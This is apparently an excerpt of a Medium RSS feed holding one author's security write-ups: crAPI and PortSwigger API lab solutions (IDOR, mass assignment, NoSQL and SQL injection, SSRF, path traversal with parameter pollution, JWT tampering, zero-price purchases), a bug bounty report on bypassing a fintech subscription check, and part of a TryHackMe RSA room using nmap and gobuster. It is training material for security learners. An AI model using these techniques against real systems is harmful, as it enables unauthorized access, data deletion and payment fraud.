/><figcaption>Boom</figcaption></figure><h3>→ Challenge 4: (Excessive Data Exposure)</h3><ul><li>when you navigate to this button :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CNjnwaUROHa2zCLZB-vhng.png" /><figcaption>Community link</figcaption></figure><ul><li>you make this request :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOcVZPc2x_ZceRfTlpBGfA.png" /><figcaption>this is the request answer</figcaption></figure><p>when you navigate to this button :</p><h3>→ Challenge 5: (Find an API endpoint that leaks an internal property of a video)</h3><ul><li>after uploading a file on the profile page, you make send like this request which leaks sensitive info about the video.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pV6nBVmtAKblQZhGmPYAAw.png" /><figcaption>Done</figcaption></figure><h3>→ Challenge 6: (Delete a video of another user)</h3><ul><li>when you use the function of renaming the videos you have uploaded:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*BY8GrENaHvPY5uVGEB0iKw.png" /><figcaption>rename a video function</figcaption></figure><ul><li>you will make this request :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcdMnmINF40XyaQMteIDjg.png" /><figcaption>main request</figcaption></figure><ul><li>after some thinking, you can infer that you can use the ‘DELETE ’ HTTP method without restrictions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JCCz34SKP072ax64SpKWoQ.png" /><figcaption>DELETE method</figcaption></figure><ul><li>so I tried to delete other users&#39; videos, so I created another ACC and accessed the video renaming function to get the ID ( here I want to know if the IDs are sequential or not)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4OHL8Vvp0eaPxkuh_tnaA.png" /><figcaption>change video name function</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvrSTwKH2cKYB_ToC6-Qgw.png" /><figcaption>204 ID ( It is sequential )</figcaption></figure><ul><li>so i have returned to the request that i have captured from the first ACC to delete the video of the second acc from it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIb-sWpvZq_npUK9nhZErw.png" /><figcaption>the first acc email ( note the difference between the 2 email )</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bYdxLyzOfQ92kyJB9ifxA.png" /><figcaption>Done Bro</figcaption></figure><h3>→ Challenge 7: (Get an item for free “MASS ASSIGNMENT”)</h3><ul><li>when you navigate the app products you will notice this request in the <strong>BURP History</strong> :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlfEe67vkyAHWU4l-1BWRg.png" /><figcaption>/workshop/api/shop/products</figcaption></figure><ul><li>I have tried to change the HTTP Method to <strong>POST </strong>and observe the response.</li><li>The Request :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReSjAe85vtz90DCo9J27mA.png" /><figcaption>with POST method</figcaption></figure><p>- so I have appended the required parameters to make that request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4n8aSeZp97ll5ylqZgzzw.png" /><figcaption>our made request</figcaption></figure><ul><li><strong>the result :</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCCZgN9Y-D07_zyqG_Vp3g.png" /><figcaption>we made it man!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D67xHA8lqv_lKrmrh-afJQ.png" /><figcaption>look here</figcaption></figure><h3>→ Challenge 8 : (Increase your balance by $1,000 or more)</h3><ul><li>continuing from the challenge on this one.</li><li>We can make a <strong>PUT </strong>request with a body parameter called ‘status=returned’ from the last challenge.</li><li>we also see a ‘<strong>quantity</strong>’ parameter in the response it, so we can add this parameter in the request as the quantity of the returned product and then increase our balance to what we want ???!!</li><li><strong>yes, we can :</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxdLSwAKglWXIlVVUlJYdQ.png" /><figcaption>burp burning</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajoLhmlpSqCkAVvEC2IgZA.png" /><figcaption>we did it!</figcaption></figure><h3>→ Challenge 9: (Update internal video properties)</h3><ul><li>when you visit these functions :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOv8mz5QlGg7C0dkGfy7rg.png" /><figcaption>function that makes the renaming of the video name</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iAv9YkuNwfzOeKlxD5bMwg.png" /><figcaption>the property is leaked in the response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tM2O1SRNV8pRNWIVFn59g.png" /><figcaption>answer we got</figcaption></figure><ul><li>we have tried to take this parameter and manipulate it to change Its value</li></ul><h3>→ Challenge 10 : (SSRF)</h3><ul><li>When we visited the dashboard, we found the “Contact Mechanic” Button</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ek_6kObfAHqQEtf9T6OURQ.png" /><figcaption>Searching</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9f11mgh9RrgaXtKe2b94UA.png" /><figcaption>Searching 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpgyVKstOa03PTQ3GXQdQA.png" /></figure><ul><li>We found that the request had a parameter in the body called <strong>“mechanic_api” </strong>which contains a link to visit , so we could try to add a Burp Collaborator Payload to test if there is a pingback response</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mCGRlKGnykcPQgiCjhVEuw.png" /><figcaption>SSRF Appeared</figcaption></figure><h3><strong>→ Challenge 11 : (NoSQL Injection)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GH8HlCtyjYcoZjZsy6s8bQ.png" /><figcaption>Challenge description</figcaption></figure><p>if we visit the <strong>Shop page</strong>, we will find that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1CRRan65tJQNgT7aLF93A.png" /><figcaption>targeted button</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mVvIWldzBn_mVHdZTmirIw.png" /><figcaption>test</figcaption></figure><ul><li>when we follow these steps to try a random value as a coupon, the APP makes this request</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNmVpj2bo4CEf6ejQXdubg.png" /><figcaption>Burp Story</figcaption></figure><ul><li>so according to the challenge name ( NoSQL Injection ), we will put a NoSQL Payload to get a coupon like this payload <strong>“{”$ne”: null} ” </strong>as the value of the coupon key</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RNWh96bNaJzbXp4JaFI4cQ.png" /><figcaption>WOWW , we got Free Coupon</figcaption></figure><h3><strong>→ Challenge 12 : (SQL Injection)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2dRoV1l8r4qdEITU4hpHw.png" /><figcaption>Challenge Description</figcaption></figure><ul><li>when we visit the <strong>Shop Page</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qu7eC_8e_ow79_z1sFMzvw.png" /><figcaption>shop page</figcaption></figure><ul><li>it makes this request</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkJtdAF6K9fG8VP68Q4pmA.png" /><figcaption>burp request</figcaption></figure><ul><li>so if we put an SQL Payload in the coupon_code parameter, what will happen?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-Pc9jiT9QGdWVAk_Sc1jw.png" /><figcaption>sql injection payload succeed</figcaption></figure><h3>→ Challenge 13: (Unauthenticated Access)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMRdxTHKKBe1ZX1qwd5QfQ.png" /><figcaption>Challenge Desription</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLs9oyF8YqktWf3ONoU2Sw.png" /><figcaption>way to this endpoint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H12uZBbwZUGeNf_7yL2gpw.png" /><figcaption>this button request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v5-4-yBNlLEihtlf2TQk1g.png" /><figcaption>main request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C4mxfAyYUJXFUz_aWCYbSQ.png" /><figcaption>after deleting the Authorization Header</figcaption></figure><h3><strong>→ Challenge 14 : (JWT Vulnerabilities)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDUlLiQgJj33OFeGoygg_Q.png" /><figcaption>Challenge decscription</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9Gz2zgt5uyqe_cdz39xWQ.png" /></figure><ul><li>The dashboard makes this request</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRtckHptmIkDQv9DorKllQ.png" /></figure><p>→ JWT Analysis :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_75GU-AXZ_v_o2FlYg-Ag.png" /></figure><p>-&gt; We have changed it to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPpwaWu5oT4prxjehTqA1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*fC2blNSQ7veEtWMd7G5A_g.png" /><figcaption>200 Ok</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bceeb3f570a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Testing ( Port Swigger Labs ) Solutions]]></title>
            <link>https://medium.com/@youssefawad1357/api-testing-port-swigger-labs-solutions-2f8f7b949f9f?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f8f7b949f9f</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[apihacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Sat, 15 Feb 2025 23:44:18 GMT</pubDate>
            <atom:updated>2025-02-15T23:45:23.685Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>→ Lab 1 ( Exploiting an API endpoint using documentation )</strong></h3><ul><li>If you read the Web Security Academy article about API testing, you will find these endpoints</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*F_SqyCkDibI0VR0itcsmyw.png" /><figcaption>api documentation paths</figcaption></figure><ul><li>so if we try to access the <strong>/api </strong>endpoint , we will find that it gives us this page :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bYlsEYqhPRUG3lrlu79Kg.png" /><figcaption>API endpoints + its HTTP methods</figcaption></figure><ul><li>so according to the lab requirements to solve the lab to <strong>delete ‘carlos’</strong></li><li>firstly you need to sign in with ( <strong>wiener:peter</strong> ) as the credentials then you will find the endpoints that related to the APIs</li><li>if you try to ’ <strong>change email</strong> ‘ function with new email</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9ao4S41Q_3kXH3L55dGrQ.png" /><figcaption>email function</figcaption></figure><ul><li>it will make this HTTP Request</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBG3j-JscpOu3RsbdC69yw.png" /><figcaption>burp request</figcaption></figure><ul><li>so we try to change the ( HTTP Method ) to <strong>DELETE , </strong>then we change the <strong>wiener </strong>user with ‘<strong>carlos</strong>’ , we will get this response</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*anxrmdq_xJZmt41Zsu4LFA.png" /><figcaption>done</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4cyTkdma4WyTRN4d3IJ7w.png" /><figcaption>done 2</figcaption></figure><h3><strong>→ Lab 2( Finding and exploiting an unused API endpoint )</strong></h3><ul><li>this lab is a little tricky</li><li>you need to visit all the endpoints and all the functions of the lab , then you will find this js file /static/js/forgotPassword.js we will use it for something important, now if you change the value fo the username parameter to anything, it will give you an error</li><li>if you add another parameter with a value ( as a parameter pollution ) , it will give Parameter is not supported</li><li>so try to end the statement with a <strong># </strong>as a method of parameter pollution</li><li>it will give you Field not specified , so it is a hint for appending the <strong>field </strong>parameter</li><li>so it you add the ‘ field ’ parameter with a random value and ends it with <strong>#</strong> it will give you<strong> </strong>Invalid field , so here is a hint for brute force the value of it</li><li>when you fuzz on this parameter with any wordlist , you will find that a word like ( username ) give you <strong>200 status code , so here </strong>we succeed in that</li><li>now go back to the js file i told you about it above , you file find this endpoint</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHd9AYZtEXuW_zVnjbvvfQ.png" /><figcaption>Js Analysis is a crucial part in your hacking</figcaption></figure><ul><li>so here try to append this parameter as a value of the field parameter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELOkBfyaI3ft7AW66KDWyQ.png" /><figcaption>burp response</figcaption></figure><ul><li>so now try to visit the <strong>/forgot-password?reset_token={token you got}</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*2h5uhPhfhUttqxfGitGYcA.png" /><figcaption>response 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7gNFzpV3dvGD-ZP0VixtA.png" /><figcaption>2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_rad5HuEabl1wI_h2cu1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RaopxyOU2ZQC3SQXyg5imw.png" /></figure><h3><strong>→ Lab 3( Finding and exploiting an unused API endpoint )</strong></h3><ul><li>while visiting the price of this product</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*vfXrTw-56leNnMXKX8CYHw.png" /><figcaption>product details</figcaption></figure><ul><li>I have found in the Burp history this request :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOSW6PEyS_dBRdOJGGWSFQ.png" /><figcaption>first request</figcaption></figure><ul><li>then i sent that request to the repeater to play with it and tried to change the method to<strong> POST </strong>to test if i can deal damage to the app</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zv_wKyNItSqPLY49W0ODpg.png" /><figcaption>2nd request</figcaption></figure><ul><li>i found this response from the server , while tells me it accepts only the <strong>PATCH </strong>method, so i tried to change it to <strong>PATCH</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcIjJcPHrxO9CmDaAsV9XQ.png" /><figcaption>3rd request</figcaption></figure><ul><li>it gives me this response , which enforces me to use ( <strong>appliction/json</strong> ) as a value of the <strong>Content-Type </strong>Header , so i tried to make that then i got that response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UNuKcBf15ndqViKDh9BAmA.png" /><figcaption>500 intetnal error</figcaption></figure><ul><li>which was make sense because i made the ‘<strong>Content-Type: application/json</strong>’ with <strong>PATCH </strong>method and in the same time i didn’t add a json body to make the server validate it , so i tried to append a random <strong>key:value pair </strong>in <strong>JSON </strong>format to test that</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nnNYdWVIerb90xYM2uBLA.png" /><figcaption>response</figcaption></figure><ul><li>it requires a <strong>price </strong>parameter in the request , so i appended it with a value “<strong>0</strong>&quot; to abuse the expected value.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJkAnjeBWmeI77wn1N8HKA.png" /><figcaption>price manipultion</figcaption></figure><ul><li>so i succeed in changing the price of the product and when i go to check the price in the <strong>shop page , </strong>it changed to “ <strong>0</strong> ”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYsO-CLWboGZ3vHdJlOWpg.png" /><figcaption>done</figcaption></figure><ul><li>so i complete the process then purchased the product for <strong>$0.00</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rE5LIM3mLoQx-K-IFiV0BA.png" /><figcaption>process</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPVEzj5p0_nWgibC6Wj_jA.png" /><figcaption>well done</figcaption></figure><h3><strong>→ Lab 4( Exploiting a mass assignment vulnerability )</strong></h3><ul><li>Firstly try to visit all the functionalities and all the endpoints of the lab</li><li>when you add any product to the cart then you go to checkout</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*ZI2dXqoiiAtqPYF07NRtrg.png" /><figcaption>checkout button</figcaption></figure><ul><li>this request will be found</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*say8R0cYwKLsuHQQ5TzGWQ.png" /><figcaption>burp request</figcaption></figure><ul><li>so I tried to change the <strong>HTTP method</strong> =&gt; <strong>POST </strong>to deal damage to the app i can</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HDU8B9CELJhEaRKJ8Yx-A.png" /><figcaption>look at the response</figcaption></figure><ul><li>that was what happened</li><li>so I tried to append a body parameter with a value because it was a <strong>POST </strong>request in JSON format</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znIwIWRwUovtdqiloO0dyw.png" /><figcaption>burp response</figcaption></figure><ul><li>so here I remembered the first response body content</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*GaxuhiGJaEJY0U_th5uwSA.png" /><figcaption>here is the answer</figcaption></figure><ul><li>I have copied this content to the request by changing the value of the <strong>percentage to 100</strong> to make the discount to 100 and then I can buy the product for free.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PO5zxEi0Vwo8dT7wNoXsfQ.png" /><figcaption>successful thinking</figcaption></figure><ul><li>so I returned to the lab and found that ( We did itttttttttttttt .)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNq4-l4C_A8AXe-Ia325dQ.png" /><figcaption>done</figcaption></figure><h3><strong>→ Lab 5 ( Exploiting server-side parameter pollution in a REST URL )</strong></h3><ul><li>focus here because it is the hardest lab :)</li></ul><p>firstly when you visit the <strong>forgot password</strong> function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vglXDZORud9brrE9thOkw.png" /><figcaption>forgot password with administrator user</figcaption></figure><ul><li>you will find this request :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*bvLeeErQxI39jRM9EZLfCg.png" /><figcaption>burp request</figcaption></figure><ul><li>after some playing with it , we try to add # after the user :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*cWAsyja5nYxJnuNqdD311w.png" /><figcaption># effect</figcaption></figure><ul><li><strong># : </strong>means the fragment to truncate the URL</li><li>so it gives us <strong>‘ invalid Route ‘</strong></li><li>This suggests that the server may have placed the input in the path of a server-side request</li><li>that the fragment has truncated some trailing data.</li><li>try to change the value from administrator%23 to ./administrator ( <strong>to test the path traversal according to the lab description</strong> )</li><li>it will give us the original response</li><li>change it to ../administrator =&gt; invalid route</li><li>try to add more<strong> dot dot slashes</strong> until you find a different response from the server</li><li><strong>../../../../administrator </strong>=&gt; this returns a Not found response</li><li>- so according to the lab description it tells us about the <strong>api documentation location</strong></li><li>so we will try the openapi.json endpoint with its payload to be like that ../../../../openapi.json don’t forget to add the %23 ‘#’ to make the server side execute our payload</li></ul><p>⇒ it will gives you like that :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79XPX4ujxmpR3YnTkdO6fQ.png" /><figcaption>resposne</figcaption></figure><ul><li>so if we try to apply what the response info that he tell us, we will reach to <strong>../../v1/users/administrator/field/{}</strong></li><li>we use <strong>v1</strong> as a manipulating with configuration of the API</li><li>the <strong>{}</strong> will be the field that we have found in the js file of the forgot-password<strong> (passwordResetToken)</strong></li><li>with <strong>#</strong> sign at the end (don’t forget)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_agxEDcC5JkkjOsA6bD_Q.png" /><figcaption>we did it</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lffEcqzhq1wD4nm6JGogzQ.png" /><figcaption>simple steps</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsHdpkFGDXB4UvHDKWYuDg.png" /><figcaption>before the last step</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gAbxVg5J7S7qYlNJejVbJA.png" /><figcaption>bye bye calros</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*478oalFxyRrjvDMWcou39g.png" /><figcaption>hard lab i know</figcaption></figure><ul><li>These labs are very powerful and real-world scenarios BUT it is not enough for you as a bug hunter for practising on APIs Hacking</li><li>so i will make another writeup about crAPI in which is a vulnerable app with API bugs to practise on it</li></ul><p>→ for more writeups bro .</p><p>LinkedIn: <a href="http://www.linkedin.com/in/youssef-awad-60aba4248">www.linkedin.com/in/youssef-awad-60aba4248</a></p><p>Twitter : @pharaoh443</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f8f7b949f9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unauthorized Access to Enterprise Plan Bypassing Subscription]]></title>
            <link>https://medium.com/@youssefawad1357/business-logic-bug-response-manipulation-leads-to-unauthorized-access-to-enterprise-dashboard-1045d34ff71a?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/1045d34ff71a</guid>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Tue, 29 Oct 2024 19:24:21 GMT</pubDate>
            <atom:updated>2025-05-07T13:31:50.063Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*dQmm3S8Qc2YzN4zRgP_PmA.png" /></figure><h3>Let’s dive into the actual issue</h3><p>I was hunting on an external program, let’s call it ‘pharaohs.com’, this target is a fintech company that has a main software that delivers content and data solutions to inefficient workflows in financial firms and banks.</p><p>So I started to understand the application, and I concluded that it has a login page to use the software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZb9XYDzmvN_PcHntWwsxg.png" /><figcaption>the login page</figcaption></figure><ul><li>When the client purchases the Subscription, the company gives him an invitation code to log in with it on the software and then access the main dashboard</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Ns2zonOe-9HkkySeTaV3Q.png" /><figcaption>failed time</figcaption></figure><p>So I started to intercept the request to submit that code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9dWYqufqxLDwEfJJ7fR2w.png" /><figcaption>what I found</figcaption></figure><blockquote>I found a boolean word <strong>( false ) in the response</strong></blockquote><p>So I tried to change it to <strong>true </strong>( as any hunter can do ) :)</p><blockquote><strong>but i got the same response ( failed one )</strong></blockquote><p>I was disappointed with this issue, and I decided to move to another functionality.</p><p>But after a while, I got more ideas that I can try. I tried to dig deep into the issue, so I tried to make this command using ”<strong>VirusTotal</strong>” to get anything that can help me in that case.</p><pre>curl https://www.virustotal.com/vtapi/v2/domain/report\?apikey\=&lt;key&gt;\&amp;domain\=example.com | jq </pre><ul><li>The output consisted of (subdomains, IPs, and some emails ) , unfortunately, I didn’t get anything juicy.</li><li>So I moved to another approach which is searching for the Origin IP of the server, which can help me.</li></ul><p>- I reached the <strong>origin IP </strong>of the page by using “<strong>Censys</strong>” → <a href="https://search.censys.io/">https://search.censys.io/</a></p><ul><li>which was :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*RyIvrJVu1CxmHWDVX-H_YQ.png" /></figure><p>so I tried the same steps as we did above</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*PktljCMLSzG7QCjeMqs6PA.png" /><figcaption>False → True another try</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*iQm5OJQCt2B9zOux6rUWYw.png" /><figcaption>indicator of a valid request</figcaption></figure><p><strong>New Body ?!!!!</strong></p><ul><li>With this response :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRXc_isMtdxISgGA5CZauQ.png" /><figcaption>The dashboard of the enterprise software bypassing the client side validation</figcaption></figure><p>BUT H1 has a different opinion :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*ODnOYnIaYnVLPGY3YAi31w.png" /><figcaption>H1 response :)</figcaption></figure><h3><strong>→ What can you benefit from this write-up?</strong></h3><p>1- Dive deep into the application — don’t overlook any subdomain or the entire target just because of a single error message.</p><p>2- When you get an error or any response blocks you from accessing like an endpoint or function, try to search for the Origin-IP of this Domain <br>Then make the same process</p><p><strong>Follow me for more</strong></p><ul><li>LinkedIn: <a href="https://www.linkedin.com/in/youssef-awad-60aba4248/">https://www.linkedin.com/in/youssef-awad-60aba4248/</a></li><li>X: <a href="https://x.com/pharaoh443">https://x.com/pharaoh443</a></li></ul><p>#BugHunting #BugBounty #Cybersecurity #EthicalHacking #PenetrationTesting #WebSecurity #VulnerabilityResearch #HackThePlanet #SecurityResearch #BugBountyHunter #bugbountytips #bugbounty</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1045d34ff71a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking RSA ( TryHackMe CTF Room)]]></title>
            <link>https://medium.com/@youssefawad1357/breaking-rsa-tryhackme-ctf-room-6773dfa826c5?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/6773dfa826c5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 09:35:59 GMT</pubDate>
            <atom:updated>2024-06-07T09:35:59.757Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*gk601fDVzsIpbFdNmYJ0eg.png" /><figcaption>welcome</figcaption></figure><p>Room Link → <a href="https://tryhackme.com/r/room/breakrsa">https://tryhackme.com/r/room/breakrsa</a></p><ul><li>Before We Start , You should understand How <strong>RSA </strong>Works</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0Jm_oDE2E9RLhLHQaiEWA.png" /><figcaption>RSA components</figcaption></figure><h3><strong>Solve |</strong></h3><h3><strong>1.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*WY5swGOQntt19S3HbAP1pA.png" /><figcaption>First Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><pre>Nmap -A -Pn -p- &lt;ip address&gt;</pre><p><strong>-A</strong> : to Enable OS detection, version detection, script scanning, and traceroute</p><p><strong>-Pn</strong> : to skip the DNS resolution</p><p><strong>-p-</strong> : to make scan on all ports ( 65537 )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*yb4mfU0TltZcCnpFK8SjQw.png" /></figure><blockquote><strong>Answer </strong>: 2 ports ( SSH , HTTP )</blockquote><h3><strong>2.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*4-dXQrlW6d-O6Ohl5Ll2dQ.png" /><figcaption>Second Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><pre>gobuster dir - wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u 10.10.183.136</pre><p><strong>dir : </strong>to identify that you want the directory listing method</p><p><strong>— wordlist </strong>: to identify the wordlist you want</p><p><strong>u :</strong> to identify the target</p><blockquote><strong>Answer </strong>: /development</blockquote><h3>3.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*XJeaTML5upBmKkhHXGfuPg.png" /><figcaption>Third Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><pre>ssh-keygen -lf id_rsa.pub</pre><ul><li><strong>ssh-keygen</strong> : OpenSSH authentication key utility</li><li><strong>-lf :</strong> to know the fingerprint hash of the input file ( with its size)</li><li><strong>id_rsa.pub :</strong> the RSA public key we have got from the /development directory</li></ul><blockquote><strong>Answer </strong>: 4096</blockquote><h3><strong>3.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*C6PmjF9siXevbIcjzd__NA.png" /><figcaption>Fourth Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*R4vPj3O86SrnZ-KsyzJXhw.png" /><figcaption>python code helps us in the answer</figcaption></figure><p>. use this simple code to get the <strong>N </strong>and <strong>e</strong></p><blockquote><strong>Answer : 1225222383</strong></blockquote><h3><strong>4 .</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*3C-VO95L9WFwviwt01_JUg.png" /><figcaption>Fifth Question</figcaption></figure><blockquote><strong>Steps of solution :</strong> <em>we want the p , q for the next questions</em></blockquote><p>→ use this website( RSA Factorization tool ) → <a 